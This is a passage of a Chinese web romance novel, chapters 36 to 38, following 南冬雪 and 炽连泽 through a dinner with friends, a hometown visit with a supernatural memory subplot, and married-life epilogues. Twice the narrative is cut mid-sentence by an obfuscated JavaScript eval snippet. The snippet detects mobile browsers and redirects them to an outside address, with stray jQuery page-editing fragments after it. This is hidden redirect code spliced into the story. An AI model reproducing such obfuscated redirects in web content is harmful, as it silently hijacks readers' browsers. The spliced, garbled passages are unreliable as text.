“你这是……”南冬雪趴在栏杆上,看着脚下花海喷薄,远山青翠,心情很好,想不出一个合适的词语来形容炽连泽的行为,“在贿赂我吗?” 炽连泽不明白,想了想,猜着南冬雪的抵触点,说,“我只是想着,你养花,我养你。如果是在我手里,这些花是商品,如果是在你手上,这些花就是诗歌,是理想,是你们那些聪明人的情感共鸣。” 谁能不称赞一句,这个人颇有城府。 “谁教你的?”南冬雪淡淡的问。她已经被他收服了。 36. 情定花海 “向后看。”炽连泽说。 店门口站着两个人。一位是妙华,另一位是林森。 南冬雪不知该害羞还是生气,一边往楼下走,一边抱怨了声,“你可真行啊!” 炽连泽把这话当作了夸奖,嘴角快要咧到耳朵根,“我当然知道找谁做军师最合适。” 妙华和林森一见南冬雪,有些难言之隐不可讲,佯装热情欢乐,看见炽连泽的时候,脸色微变。 南冬雪一看到妙华那表情变化,便知她心里在想什么,对着这夫妻俩使眼色:你看看,人家那么帅,我就这样待在这人间仙境一样的地方。 妙华恨铁不成钢,对炽连泽摆出一张发怒的,五官挤在一起的脸,“教了你那么多,没想到漏掉了最重要的。早知道这样,就该让我去接她嘛!” 林森解围,“师妹这样没什么不好,也很漂亮,情人眼里出西施,你不要破坏气氛。来拍张照吧?然后,连泽他约了一家餐厅,说一起吃个饭。” “你怎么说?”妙华问冬雪。 “我怎么了?”炽连泽看着气氛不太对劲,但没能想起来自己到底哪里做的不对。 平时在为人处世上细心敏感的人,此时却这么愚钝。南冬雪也能理解,他一定太过兴奋、激动,又忙碌了许久,所以才没顾得上她。又或者是,眼里只在乎她的态度。他到现在,还害怕她反悔。 “不用和他说,我没关系,就这样吧,华姐。” 妙华指导动作,林森负责拍照。 “亲密一点儿。”这句话妙华说了十多遍。 南冬雪和炽连泽才别扭的抱在一起。 “亲一个!”妙华又说。 炽连泽低头看着自己的女朋友,呼吸都变重了,“可以吗?” 南冬雪还没做好准备,把他的脸推向镜头,“不要。” “那我把你抱起来?” “那行吧。”要是一直拒绝的话,怕是会被人以为她答应这件事根本就是违心的。 公主抱之后,炽连泽又一手将她托起来放在自己肩膀上,惹得妙华连连鼓掌尖叫,这才满足这位指导老师,让她饶过还处于适应新关系的一对恋人。 炽连泽很擅长推拉之术。 照片里的她,尽管穿着和炽连泽并不相配的衣服,但南冬雪也觉得她自己漂亮了许多。是因为开心。 那种情绪满满当当,让她整个人在发光。 吃饭的时候,炽连泽频频看向南冬雪,预判她想要的东西,在她还没有说话之时,便把东西送到手边。 林森忍不住说道,“师妹,你现在可真幸福啊!不算晚,离你毕业刚刚过去三年多一点,你很幸运的吧!” 幸福是因为他在了吗?南冬雪看向炽连泽,发现他对自己那喜欢得不得了的眼神,一下子觉得难为情,小声提醒他,“吃你的饭,看我干什么?” 炽连泽甜甜一笑,“我觉得你吃饭像小兔子,一小口一小口,可可爱爱。” 林森和妙华互相看了一眼,也压制不住嘴角上扬:这两个人啊,腻歪得很。不过上次见面还是在冬雪被宋敏安打伤住院,那时他们还没有这么明目张胆秀恩爱,这才过去大半个月,转变也太快了。 “纯属好奇,冬雪,也不是我故意破坏气氛,你们是怎么和好的?”妙华问。她还记得两个月之前,炽连泽无故失踪,在他的房间里找到一封信的事。她和林森还在致力于寻找张梧桐的信息。 “嗯?和好?”南冬雪不解,但没有多说话。 炽连泽却说,“冬雪她生气和过家家似的,随便说几句好话,对她卑躬屈膝的道歉,就当作什么事都没发生过了。” 这话说的是真的。只是听着不太舒服。 林森微微叹了口气,端起茶杯放在嘴边,对南冬雪说,“师妹,无论什么时候都不要委屈自己。这样对谁都不好。” 真不愧是师兄。南冬雪感激涕零,当即就要和师兄碰杯,也不忘带上妙华。只冷落了炽连泽。 “又孤立我!”炽连泽停在半空中的杯子晃了晃,厚脸皮的和南冬雪已经放在桌上的杯子碰了碰。“我这意思不是说要敷衍你,你知道吧?” 炽连泽在桌下去捉南冬雪的手,被她躲开。 他虽然有时候不了解她这种人的敏感小心思,但他能快速的察觉到她的情绪变化,并且直来直去,敞开天窗说亮话。南冬雪觉得自己不会受委屈。 “这样我就可以有自己的小秘密了。”南冬雪挡着脸和妙华夫妻俩打谜语。 只是确认恋人关系,炽连泽就搞了这么大的排场,又请了她的两位知心人过来见证。他的朋友,一个都没有出现。不是因为他没有朋友,而是因为炽连泽了解,南冬雪不喜欢被别人关注私人的事情。 刚刚上了饭桌等菜的时候,炽连泽就迫不及待的征求了她的同意,把他有了女朋友这件事广而告之。因为总是被嘲笑,总是恨不得不被人看见,所以南冬雪不喜欢分享自己。炽连泽不一样。他走到哪里都是讨人喜欢的类型,南冬雪偶尔也想沾沾他的光,受到别人的祝福。 “接下来,你们打算怎么办?”妙华问,“现在也不需要找张梧桐了吧?真遗憾,我刚刚才得到一点线索。” 南冬雪惊奇,连忙说,“要找要找的,华姐,我们俩一定要找到张梧桐,你得到了什么线索?” “你的老家,你曾经上过学的学校里,有一位老师拍给我的风景照里有他的影子,你看看呢?这是昨天我才收到的,还以为你们不需要再找那个人了呢?” 两个人已经和好了不是吗?不过,年少时的感情,如今再旧事重提,也算是一种美好的感受吧。 妙华发送过来一张照片,炽连泽和南冬雪挤在一块儿,把那张照片放大。 看得出来拍照的人本意是想要拍下破旧教学楼中孩子们斗志昂扬的情景,但独独在三楼的栏杆上,出现了一名成年人的身影。 他正面向着镜头,但把头扭向了另一边,所以只能看见侧脸。整个人因为不在焦点上,所以是模糊的。颌骨的线条会让人觉得他是个容貌俊秀的东方美男,头发在风中飘扬,穿着单薄的衬衫,露出一半锁骨和两只肌肉线条流畅的胳膊。 老家的老师并没有注意到这个人的存在。他说拍照片时特意清退了所有闲杂人等,为的是干净的背景。检查照片时也没注意到那里有一个人。是妙华注意到了对方才发现。 奇怪!那么大个人影,怎么会没注意到? “有的人是这样的。”林森说。 “怎么样?像不像张梧桐?”妙华问。 “乍一看,是挺像的。”冬雪说。 “什么叫乍一看?你们不是同床共枕的关系吗?啊?!”妙华意识到自己不经过大脑说了什么的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185217|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓得惊叫,“我为什么会这样说?我为什么会这样说?我怎么了?林森,我是不是疯了?对不起!我可能精神压力太大了,对不起,冬雪,对不起,冬雪的男朋友。” 林森轻轻拍着妻子的背部,“其实,师妹,我也有这样的潜意识,总觉得之前的事实和现在的认知有一些出入,也不知道是我们太紧张了还是怎么了,反正觉得怪怪的。” 南冬雪看看炽连泽,尴尬的开解道,“姐,你别激动,不是你的问题,这个,确实有点弯弯绕绕的,应该是我对不起你们。嗯,我过去的耻辱就别提了吧。” 会影响和现任的关系,南冬雪暗示着。 林森和妙华连忙调整状态,不再提起那个错误认知。 炽连泽在旁配合演戏,一脸单纯,“如果故意搞得神神秘秘,那确实可能和他有点关系,是吧?亲爱的。” “快别说了,你要把我酸死。”南冬雪躲避炽连泽故意的亲近。 一个疑问又这样蒙混过关。 妙华又问,“那什么时候有时间一起去你老家看看呢?我过几天要去这所学校待上一个月,林森也会请假陪我去。我记得你们老板是不是让你休息一个月呢?你这刚出院,要是她不让你休息,我去找她去。” “你们方老板可是欠了我们妙组长一个很大的人情呢!”林森说。 “也没有了。人家把这份功劳都算在冬雪头上了。” 从妙华的表情来看,冬雪猜测,方老板也确实记着妙华的人情,答应了她一些事情。而方老板则是受利不受名,把这份荣誉让给了妙华更亲近的人。毕竟妙华也是因为冬雪才愿意帮的忙。 “姐,师兄,我这辈子欠你们的要怎么才能还得清?!”冬雪故意作苦恼状。 “哪需要你还了?知道还有人对你好就行了,快快乐乐过自己的日子,我这点顺水推舟的事算什么?诶,你男朋友也陪你去吗?” “他?大概去不了吧。”南冬雪想起炽连泽给他队长打电话,说是要归队的。 “对。”炽连泽提到这个有些惆怅,“我们以前的队长,宋风扬,他的家人确定他失联了,我要归队,去把他给找回来。” 所以,那天出现在那么多人面前的宋风扬,是假的。 “他冒用一个身份,我就要把他拆穿。一直让他不能侵扰我们的世界。” 南冬雪的家里。炽连泽坐在沙发上,南冬雪窝在他的怀里。两人聊着白天提到的宋风扬的事。才刚刚决定在一起,他们就要分别了。 “还能回来吗?”南冬雪说。 炽连泽浑身一颤,扶着冬雪的背,严肃的看着她,怎么能说出这种话?不过,他还真没想过这个问题。 “现在技术已经很成熟了,不会的。” “但你和别人不一样。你的胳膊还疼吗?”你的生命有那个或神或鬼之物威胁,南冬雪暗示道,“有没有可能他是好心,因为假扮了一个失踪的人,所以引起了注意,指引着你们去找他?” “让我摸摸你的心还在吗?”炽连泽的下巴蹭在南冬雪鼻尖、下巴,脖子,“你的良心还在吗?” 莫名的,他的声音越来越低,越来越充满着不可名状的色气。他的呼吸乱扑在南冬雪的脸上、脖颈间。 “敢不敢让我摸一摸你的心里有没有我?属于我的份量有多重?我想知道,南冬雪,我好喜欢你。” 37. 还有山水长 南冬雪任他嗅来嗅去,蹭蹭这里蹭蹭那里,眼看着他的眼神越来越混浊,双手在她肩膀上、胳膊上摩挲着,快要忍不住占领更多的领地,偏偏南冬雪就是忍着不发号施令。 她还没有准备好。内心缺了些什么东西尚未找回来。她不知道做这些事情的意义是什么。 “你发情了吗?”她说。 犹如一盆冷水从头上浇灌下来。炽连泽瞬间清醒,和南冬雪拉开了些距离,仍旧虚虚的搂着她的肩膀。 他哭笑不得,“你怎么能说出这样的话?你南冬雪怎么能说出这样的污言秽语?” “怎么?你能想我不能说?你能做我不能说?” 见南冬雪生气,炽连泽连忙软下态度,撒娇哄人,把脑袋枕在她肩膀上,“我错了我错了,别生气,好宝宝。” “你还想摸吗?我什么心都没有了,还想要我有良心?” “我错了,我错了,你不爱我也是应该的,我真蠢。对不对?” 南冬雪感觉炽连泽在抹眼泪,只觉得好累。要是知道现在还要应付这么个麻烦,在那个时候就不该去依赖他。这么想着,她又想起他的好处来。权衡利弊,还是开始哄人。 “和你开玩笑呢,你要是当真的话,那我就没办法了。”南冬雪随意拨弄着炽连泽的头发,故意用力的嗅一嗅。“我真的不知道该怎么办,你可别生气。” “那我教你,你愿不愿意学?”炽连泽仰头,唇只差三厘米便能碰到她的嘴角。说话的气息尽数散在她的皮肤上。 南冬雪只觉得紧张无措,惶恐到想吐。找个借口逃开的想法仅仅冒出一个头,她便开口承认,“我有些害怕,我不想。” 南冬雪推开炽连泽,为着自己无法融入正常人的生活而感到痛苦。她又害怕自己这样会让炽连泽离开她。要真是那样的话,一开始就应该坚定的独自一人生活下去。已经挺过了那么多的痛苦,为什么在本该迎接幸福的时候,还是感觉到了束缚? “我的心脏没了,我很难受。”南冬雪为自己如此表现寻找借口。想着,要是炽连泽离她远去,只要熬过一段时间就好了,没有什么难事是挺不过去的。就是这样,没必要害怕。但她,缺点什么呢? 灯光照得她的眼睛无法睁开,她偏偏要去看那灯,希望能从这种自我的折磨之中得到她缺少的那一份无名之物。 该出现的人,为什么还不出现?从光里来,从光里消失的人。 她为什么会生出这样的想法? 这个熟悉的地方,有过许多快乐的地方。明明有一个人应该陪伴着她,满足她曾经想要的任何东西,喜欢她的一切,为什么她想不起来这样的一个人是谁? 炽连泽关掉了灯。 那一刻,她好恨。是这个人的出现,挤走了他。 她被毛毯裹紧,被身边的人搂在怀里,什么也不说,只一遍遍的轻柔抚摸她的耳侧头发,安抚情绪。 没关系。不管产生什么想法,不管做出什么举动,都是再也正常不过的。那表示你是这个人,我会接受你。 南冬雪一时分不清这是炽连泽传达给她的信息,还是自己对自己的劝慰。 第二天,南冬雪问他有没有说过这些话,炽连泽说没有。 她看见炽连泽的手心有海棠花的图案,还好奇他怎么会去纹身。直到他拉开了门,又关上了门,才想起差点被自己忘记的往事来。 连心脏的事情也要忘记吗?她看着镜子里的自己,胆怯的把手放在胸口,那里好像出现了一点震动。 她不想再去确认。 选我,还是选他? 又是这种问题。当炽连泽那首自创的曲调想起,她先想起的是那一位。阴险,恶毒,他想变成炽连泽。 南冬雪立即赶去了炽连泽的搜救队,一路穿过那群穿着橙红色队服正整装待发的队员,不停的拉过旁人问,“请问有没有看见炽连泽?” “炽连泽在哪里?” 人们的回答远远抛在她身后。 “你说什么?” 最后一个才是他。 是炽连泽,还是她所认为的守护神? “这么快就想我啦?”声音很轻,无人注意。 南冬雪扑过去,踮起脚,抱住他的脖子,亲他,直到胸腔里那股热火消退。南冬雪才放开他,心惊胆战的观察着他的反应。 炽连泽眼里、脸上漾起被上天眷顾的得意,抬手摘掉手套,轻轻抹了一下嘴唇,瞧着大拇指上那淡淡的血迹,笑说,“我们的南冬雪也学会给我盖章了,脖子上一个,嘴唇上一个。” “对不起,我不太会。”南冬雪看向别处,挠头。“我想和你一起去。我不会添麻烦的,我自己坐车去,在附近等你。我想和你离得近一点,万一出了什么事,我能在短时间内去找你。” “不会?那我教教你?”炽连泽把南冬雪扣进怀中,一手捧着她的后脑勺,近距离看着她的眼睛。 似乎在这一刻,两人的对视之中,他们的灵魂已经彼此交换。你中有我,我中有你。其他一切问题都暂时被抛远。 南冬雪刚一点头,炽连泽的脸便压下来,唇却轻柔的感受着她的温度,舌头挑动着她胸腔里那颗声音越来越响亮的心脏。 缺少的东西,和属于她的记忆被还回来了。 身后的欢呼鼓掌声惊醒了南冬雪,她连忙推开炽连泽,回头看去,那么多双眼睛,那么多张脸,南冬雪心里犯怵,不停打鼓。炽连泽抱着她的肩膀,应对队友们的起哄。 “你们今天不是要去……” 怎么会是这种气氛?南冬雪觉得难受。 “宋风扬队长已经被找到了,我们是组团去迎接他。你要去吗?队长,请求陪伴家属单独行动!” “同意同意!”队长拿着大喇叭喊了一声,穿过队员们,走到炽连泽身边,虚虚的踢他一脚,“快走吧你!” 老家之行得以成行。 十年过去,已经发生了翻天覆地的变化。记忆里的诸多轮廓还在,但确实已经并非当年,不属于他们的时光。像是浓汤被稀释了一样。 曾经铺天盖地的两棵梧桐树,如今只剩下两个树根,供小孩子好奇的踩踏。 “我当初刚来的时候,还记得在路上遇见过你,奶奶和我说,你是一个很聪明的孩子,我觉得你实际上挺猖狂,看谁都不屑。” 回忆往事,过去割着她的那些刀,现在也已经钝了。牵着炽连泽的手,她觉得自己也是换了新壳,经过浴火重生的人。 妙华拿来了一张十多年前的运动会照片,指着其中一个人说,“又发现了新线索,这个同学的外号叫张梧桐。他只在这待了半年。因为那时候还没确诊病情,所以几乎把所有的学校都上遍了。” “确诊病情?” “对,忧郁,自闭。” “他的本名是不是叫陆兆华?”南冬雪说。 “对,对,你认出来了?这就是张梧桐吗?面相上确实没有太大变化,只是我觉得与你合照上的那个人很开朗,不像是一个人。” “他在我面前是这样的。” “外号为什么叫张梧桐呢?”妙华奇怪。 南冬雪摇头。谁知道这是当初发生的事情,还是后来由某位不可名状的人物故意补上去的。 炽连泽手上的海棠花还在,他牵着南冬雪的手,推开了他们曾经当了一年同桌的那间教室的门。 挂在墙上的钟表变了时间。原本透过窗户看见的新桌椅,此时也是多年前老旧的样子。厚实的木头发出腐朽味,地面上的尘土混着水的味道。窗户外面绿荫笼罩,能够看得见不远处阳光正烈。 是夏天。南冬雪靠窗坐下来,一仰头,看见昨晚同她相谈甚欢的那个男生正坐在树上向她招手。 “你看见了吗?”南冬雪连忙摇醒旁边已经睡着的炽连泽。 炽连泽迷迷糊糊睁眼,压身过来,趴在窗户边上向外看了一眼,扭头就在南冬雪额头落下一吻,得逞的笑了。 南冬雪惊恐抱头,“难道这次是被你占便宜的恐惧循环吗?” 炽连泽橡皮糖一样拉开南冬雪的手,缠着她,“我有这么恐怖吗?那你愿不愿意?愿不愿意?” 把所有痛苦忘掉也足够让人惊恐。 在这个教室,他忘记了那一年实际上都是对他那年幼早夭的妹妹的祭奠吗?如今他再次回到这个地方,难道已经忘记了那么深的痛苦了吗? 察觉到南冬雪的情绪低落,炽连泽安静了一些,规规矩矩的坐好,用余光去观察她的反应。沉默许久,炽连泽忍不住了,他大概猜到南冬雪正在想什么,便说,“还记得老师让我们互相幻想对方十年后会过着什么样的生活吗?”< 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“原来你也知道自己比别人更懂人情世故,油腔滑调,油嘴滑舌……” “这你就说错了。”炽连泽不服。哄多了身边人,原来也会挑出她的不是之处。“我可没有油腔滑调,油嘴滑舌,我是一身正气,不为五斗米折腰,有气节有骄傲有尊严的人,这样我才容易被信服。” 所以,他这样的人到底为什么会看不穿南冬雪的“聪明”、“天才”人设只是虚妄,还要把她捧上高位? 如果细究这些问题,南冬雪猜想自己大概又会变成那个坏了一锅汤的老鼠屎。她更应该相信,至少炽连泽有一部分是爱她的,或者说,是需要她的。 “要回去看看吗?”炽连泽拉着她的手问。 看看小时候生活的地方,虽然更多是不好的记忆,但也有几朵野花会夹杂在野草之中。 人烟稀少的村子里,植物的生命力旺盛,拥有破败感的只有人,连一块瓦片、快要倒塌的柱子、腐朽的破布也透着一种毁灭了之后便能获得新生的信号。 炽家的老房子笼罩在一片绿油油的树荫之中,年轻的主人坐在院子的葡萄架下乘凉,年迈了的主人依然坐在那里晃着摇椅,时光温柔以待贤良之人。 炽连泽兴奋如一只兔子,对着那扇红漆大门跃跃欲试,“你说要是十年前的奶奶见到我们是什么心情?” “那你不要拉着我哦!”南冬雪把自己的手从炽连泽手里抽出来,微微整理了衣襟,打算以淑女的形象进门拜访,“我怕被骂。” 和炽连泽在一起,南冬雪隐隐觉得,对老人家来说,总有一种恩将仇报的感觉。 “呀!这不是玉芳奶奶家的孙女吗?终于肯回家来看一看了?” 陌生的声音让炽连泽和南冬雪心生警惕。 但这人说话的方式分明是他们村子老乡的打招呼方式。 南冬雪看着这人。性别男,三十岁出头的年纪,实际上应该比别人猜测的年龄还要大上几岁。穿着灰色衬衫,灰色西装裤,棕色夹克,头发向后梳去,戴着普通的眼镜,整个人并没有十分惹眼,但他一笑,那便绝对是潘安相貌、名动京城的程度。 “啊!”他轻轻哈了一口气,后退一步,“你肯定不认识我了,那时候你才六岁……” 他还想说点什么,仿佛从另一个世界赶来的南冬雪,失了心魂似的说道,“周医生……” 他听了这三个字,皱了眉毛把脸上惊喜的笑容挤得变了形,又后退一步,低头畅快的笑了两秒,看着南冬雪,对她挥手,“看你现在状态很好。” 目光扫了一眼她的膝盖,又看过炽连泽,“祝你们幸福,再见!” 明明是他先搭话,现在却紧急逃离。 “顾唯伊!”南冬雪喊,声音冲破受过伤的喉咙,有些刺耳。这种程度也只是刚刚足够离她十步远的人听见她微弱的发声。 和记忆里十分相似的周医生回头,无甚表情,静等对方开口。 南冬雪无法从他脸上判断出什么。 “你在叫我吗?”周医生没有等到回答,再次微笑告别。 “诶?”南冬雪轻轻出声,比风扶起杨柳还轻。 “嗯?”炽连泽回答。 他的气息迅速扑面而来,透着浓浓的喜庆。 38. 番外 1 南冬雪生气了,炽连泽跟在她身后。两人之间始终保持着五米的距离。炽连泽也生气,但天色已晚,他知道南冬雪不会这么快就消气,很可能会在外面走到深更半夜,这样岂不是很危险,最重要的是在这之后她很可能会赌气回到自己的那个小房子,这样一来没有三五天是哄不好了,所以他忍着不痛快一直跟着,相隔三五秒便抬头看看,确定南冬雪还在他的视线之内。 他没有注意到路边的一位警察已经盯上他了。 这片地方有大片夜市,热闹到凌晨两三点,人多,便不安宁。因此每天会有民警在此值班。 中年警察伸手拦住炽连泽,叫他停下来。炽连泽无意识的顺从,乖乖站在一棵梧桐树下,目光下意识的去追随南冬雪。 “哎!别看了,干嘛的?”警察的语气稍微有点凶。炽连泽这才专注于眼前的人,只是不甚理解自己走得好好的,怎么被拦下了。 “问你呢?干嘛的?”警察不悦的再问。 南冬雪此时朝这边看过来,只见炽连泽被警察拦住问话,也猜不到发生了什么事,呆呆的走过来,被那警察老早发现,一边把炽连泽往树后面拖了一把,一边朝南冬雪挥手,“小姑娘,没事儿,你走吧,快回家去!” 警察扭头便对炽连泽没有好脸色,“我说你,干嘛的?问了几遍为什么不说?” “我,过路。”炽连泽大惊失色。 “你跟着人小姑娘干什么?” “我?”炽连泽现在想明白了,原来这位警察是把他当不怀好意的色狼了。“她也没比我小多少,不算小姑娘吧?” “别跟了,知道吗?该往哪去往哪去,走吧?!”警察见炽连泽继续往原来的方向走,一把给拽了回来,“让你别跟了,怎么不听劝呢?” 两人一来一去,眨眼间发现南冬雪站在眼前了。警察微微吃了一惊,心想这姑娘怎么缺心眼呢? “那个……”南冬雪尴尬的举起手引起注意,“您好,他是我的合法丈夫……” 炽连泽双手插进兜里,傲娇的扭过脸去不看她,“我可不是!” 警察把两人看了又看,似乎是不信。南冬雪连忙翻出手机里的结婚证照片来给警察看,解释说,“我们吵架了,在冷战。” 炽连泽一听这话,先急了,“谁和你冷战?明明是你对我冷暴力!” 南冬雪冲他小腿上踢了一脚,满脸尴尬的笑容向警察道歉,“不好意思,给您添麻烦了,实在抱歉,那我们先走了。” 炽连泽被踢一脚,不动如山。南冬雪说完话,把他一拉,立马顺着台阶下,跟着走了。 2 女儿的名字,炽心源。 刚刚得知有了小孩那会,炽连泽天天痴迷于取名。他觉得自己的姓不好,太冲,建议用冬雪的姓,冬雪也不喜欢自己的姓,她说想要改名字,从小学的时候就想。 炽连泽觉察到妻子说起这个,神情低沉了一些,连忙下了定论,“那叫炽什么呢?我翻遍字典都选不出来,真是的,我这脑子!” 冬雪看着丈夫手上三大张密密麻麻的字,简直要把新华字典给抄一遍,想了想,说,“我想用‘源’字。” “为什么?”炽连泽翻了翻自己手上的纸,正面反面都没有空白处可以写了,找来一张新纸,在上面工工整整的写下一个“源”字,再在前面空了一厘米的距离,写下一个“炽”字,喃喃道,“炽源炽源,感觉不好听,中间得再加一个字,对了,老婆,为什么想用源字?” “你想,万物起源,从心,我想让我们的小孩将来不为外物所累,活得开开心心,想做什么就可以毫无顾虑的去做。智者向内寻求力量,指的就是先修心,后成事。” 一番话说完,炽连泽的眼里又点燃了崇拜的光,忍不住夸夸,“老婆,真不愧是你!” 说完,还要把头靠在她腿上蹭蹭。“那就叫炽心源怎么样?我觉得很好,炽心源,读起来也顺溜。” “你说了算!” 炽连泽尾巴要翘起来了,再次作为一家之主做决定,“小名就叫乐乐,快快乐乐,和爸爸一样,不不不,和妈妈一样聪明。” 3 当炽连泽发现女儿的“源”字来源于妻子的初恋。他心里很不是滋味,那天回家的路上,抱着女儿在前面走,委委屈屈,抓着女儿的手擦眼泪,“宝宝,妈妈不爱爸爸怎么办?” 三岁女儿只当发生了不得了的大事,急得咿呀咿呀,断断续续表达清楚自己的意思,“妈妈爱爸爸,妈妈很爱爸爸!” “妈妈怎么爱爸爸?” 小孩子想了一会儿,竖起一根小指头,认真又严肃的细数,“妈妈晚上醒来给爸爸盖被子!” 又伸出第二根手指,“妈妈教爸爸画画!” 接着伸出第三根手指,“妈妈会亲亲爸爸!” 伸出了第四根手指,“爸爸送礼物,妈妈很喜欢!” “还有呢?”炽连泽看着女儿可爱的小模样便心花怒放。女儿集中了两人的优点,大眼睛双眼皮像妈妈,桃心唇也像妈妈,高挺的鼻子和白皙的皮肤像爸爸。他能从女儿脸上看到更多属于妻子的特征,像自己的部分……不像妻子,那当然就是像他喽! “还有啊,还有……”小脑袋瓜苦思冥想,“就是没有理由啊,爸爸爱妈妈,所以妈妈爱爸爸!” 小女孩在爸爸的肩头,看着妈妈满眼都是爱意。 南冬雪想记录下这一幕,拿出手机拍照,就在定格的那一幕,炽连泽也回头了,父女两人灿烂的笑着,眼睛里充满了爱。 夕阳正好,好像两个人身上发着光。 但是,炽连泽闹脾气还没有结束。日子像往常一样,炽连泽照顾女儿,做家务,饭菜准备好了,朝着书房喊一声,“吃饭了!” 和以前一样和谐。但炽连泽明显对她疏离了。虽然讨好性的给他夹菜,他会全部吃掉,给他递东西,他会好好接着。他也会在晚上起来照顾女儿时,把她的被角严严实实掖好。涉及到生活上的交谈,也没有问题。但是只要南冬雪直勾勾看他一眼,他面无表情的移开目光。 “我想到这个字的时候,真不是因为他。”南冬雪解释了很多遍。 炽连泽的反应是,平平淡淡的说一句,“知道了。” 南冬雪没有办法,只好请教了菲菲,琪琪,小熊三人。 “吃醋了这是!”三人异口同声,互相交换眼神,脸上浮现出不可描述的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185219|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑容。 “脑子简单的男人哄哄就好了!”小熊结婚五年,对待年纪小的丈夫如同照顾儿子。大儿子听话,不需要她费什么心思。“他喜欢什么,送个东西哄他开心开心,过几天就忘了。” “这个不行的话,还有第二招。”恋爱高手菲菲提议。几人脑袋凑到一块儿,只听菲菲说,“把孩子先送到别人家一晚,等他洗澡的时候,鸳鸯共浴,明白了吧?保准见效。” “我觉得,他就是在等你哄他,但你哄了这么多次,他还不觉悟,那就来个釜底抽薪,假装和你初恋约会,看他着急不着急!”工作上强势,生活中也强势的琪琪建议。 除了送礼物,其他两个,南冬雪觉得不适合她和炽连泽,自己也做不来。但是炽连泽喜欢什么礼物?他没有特别的爱好,总不能给自己买身新衣服到他面前说,“这是我送你的礼物,你喜欢吗?”这样听来,和第二个建议很像。 南冬雪千愁万难,回家之后常常看着炽连泽发呆,思考他到底需要什么礼物才能哄好。话也少了,陪孩子玩也提不起兴致来,晚上睡觉翻来覆去。 第三天的时候,夜里,炽连泽爬起来,往妻子那边倾身过去,伸手探她的额头,体温正常。 “你怎么了?这两天不高兴。” 南冬雪一下子委屈起来,把被子拉过头顶,声音哽咽,“你对我很冷淡,我不知道该怎么办。” 炽连泽挤进妻子的被窝里,把她拉进自己怀里,“好啦好啦,对不起。” “你这么敷衍。” 借着夜灯的光,炽连泽低头看到妻子眼泪汪汪,情不自禁吻了她额头,“我需要时间来接受你的初恋是我女儿的名字这个事实,对不对,原谅我吧!啊?!” “那时候我都忘了那个初恋叫什么名字了。而且,实际上不算什么初恋,我只是觉得人家长得好看,后来被他讽刺了之后连觉得他好看也没有了。你要是介意的话,那咱们去改掉这个名字?” “不。”炽连泽抱紧妻子,脸在她颈窝里蹭着,开始撒娇,“既然这样,我就想开了,不那么介意了。宝宝这个名字可是我们喜欢了四年的名字,怎么能说改就改?哎,我要批评你嘞,你生气的时候我都一直哄你,我生气的时候,你也不哄我。” “怎么哄?不会。” “我怎么哄你,你就怎么哄我,有样学样,老婆大人这么聪明还需要我教啊!你是不是根本不屑这么做?” 南冬雪一向受不住糖衣炮弹。本来是南冬雪因为想不出讨好另一半而烦恼,后来变成了炽连泽热烈求爱的战场。 不是他爱得更多一点。是他知道怎么去表达、去展现自己的爱,而南冬雪在另一半的潜移默化下也慢慢学会了这些。让对方变得更好,或许这就是相爱相伴的意义。 4 南冬雪顺势亲了他和女儿,转身去厨房做饭。听见炽连泽对女儿说,“你看,妈妈亲我了,爸爸是不是很厉害?” 熟悉的感觉刺中了她。 南冬雪下意识的回头去看,炽连泽抱着女儿坐在沙发背上,正低头逗她玩儿。下午的阳光正落在客厅里,也落在他们身上。 明亮之处,一览无遗,光华灿烂,黑暗里的秘密藏在心里。